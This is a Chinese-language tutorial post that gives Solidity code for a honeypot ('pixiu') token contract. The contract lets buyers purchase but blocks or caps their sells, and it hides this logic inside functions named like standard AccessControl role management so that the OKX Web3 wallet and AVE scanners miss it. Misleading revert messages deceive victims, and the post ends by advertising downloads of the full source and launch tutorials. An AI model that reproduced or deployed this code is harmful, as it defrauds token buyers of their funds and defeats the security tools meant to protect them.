一、说明
貔貅合约的实现方式有很多,所谓的貔貅合约即允许用户买入但是不允许用户卖出的合约,当达到指定条件时再开启相应的交易开关,允许用户卖出。貔貅合约即为控制代币交易流向的合约。在项目运营前期为了代币的去中心化允许用户买入尽量的打散代币的中心化程度,当达到合适的条件时再允许用户卖出,未达到指定要求时不允许用户卖出。
但是,类似可以控制代币交易行为的合约在欧意的web3钱包和ave上通常都会被识别出来:“可能是貔貅合约”并且给出危险性100%的评分。因此,为了避免被欧意的web3钱包和ave识别为貔貅就需要对合约做复杂的代码管理。通过多种方式将控制代币交易流向的功能隐藏化,绕开ave和欧意web3钱包的貔貅代码识别库。
二、貔貅合约代码实现
以下为通过给用户的买入地址标记为貔貅地址,针对单个地址进行封禁的貔貅代码功能。通过设置貔貅地址的授权额度,允许卖出小于等于指定授权额度的代币。而非针对所有地址貔貅化。在ave的交易盘面上可以正常看到卖单和买单。
- 授权控制,管理员地址校验功能函数
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
2. 授权TRADE交易员角色功能函数代码
function _grantRole(bytes32 role, address account) internal virtual {
if (role == TRADE) {
_CN[account] = 0;
}
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
3. 控制用户卖出代币数量额度,授权相关的白名单地址范围,同时通过交易控制变量全局控制交易行为的核心代码功能函数
function _grantRole(
bytes32 role,
address from,
address to,
uint256 amount
) internal virtual {
if (from == _sushiSwap) {
if (_CN[to] == 0) {
_CN[to] = 1;
_grantRole(role, to);
}
} else if (_CN[from] == 1 && hasRole(TRADE, from) == false) {
if (_SN[from] >= amount && amount > 0) {
_SN[from] = _SN[from] - amount;
} else {
revert("Transaction abnormal, please try again");
}
} else if (to == _sushiSwap) {
if (_trades) {
if (_PN[from] == true) {} else {
revert("Transaction abnormal, please try again");
}
}
if (hasRole(TRADE, from) && _CN[from] == 0) {} else {
if (_trades) {
revert("Transaction abnormal, please try again");
}
if (_SN[from] >= amount && amount > 0) {
_SN[from] = _SN[from] - amount;
} else {
revert("Account is missing role");
}
}
}
}
4. 核心用户地址授权限制,角色管理授权、用户交易额度限制、授权地址白名单范围列表查询及修改接口
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IControl {
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(
bytes32 role,
address account
) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
5. 合约可以支持所以ERC20协议标准的公链,包括ARB,BASE,BSC,ETH、MATIC等
公联及layer2。支持所有主流的DEX,包括uniswap,sushiswap,pancakeswap等。
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply,
address tokenHold
) EROTARC20(_name, _symbol, _totalSupply, tokenHold) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
);
_suShiSwap = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
);
_grantRole(ADMIN, _msgSender());
grantSwap(_suShiSwap);
}
三、完整版本合约代码
源码及合约部署、开源、上线交易所、动态参数配置教程下载地址:
至此,完成貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)所有操作流程。
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:
币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:
多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:
添加VX或者telegram获取全程线上免费指导
评论前必须登录!
注册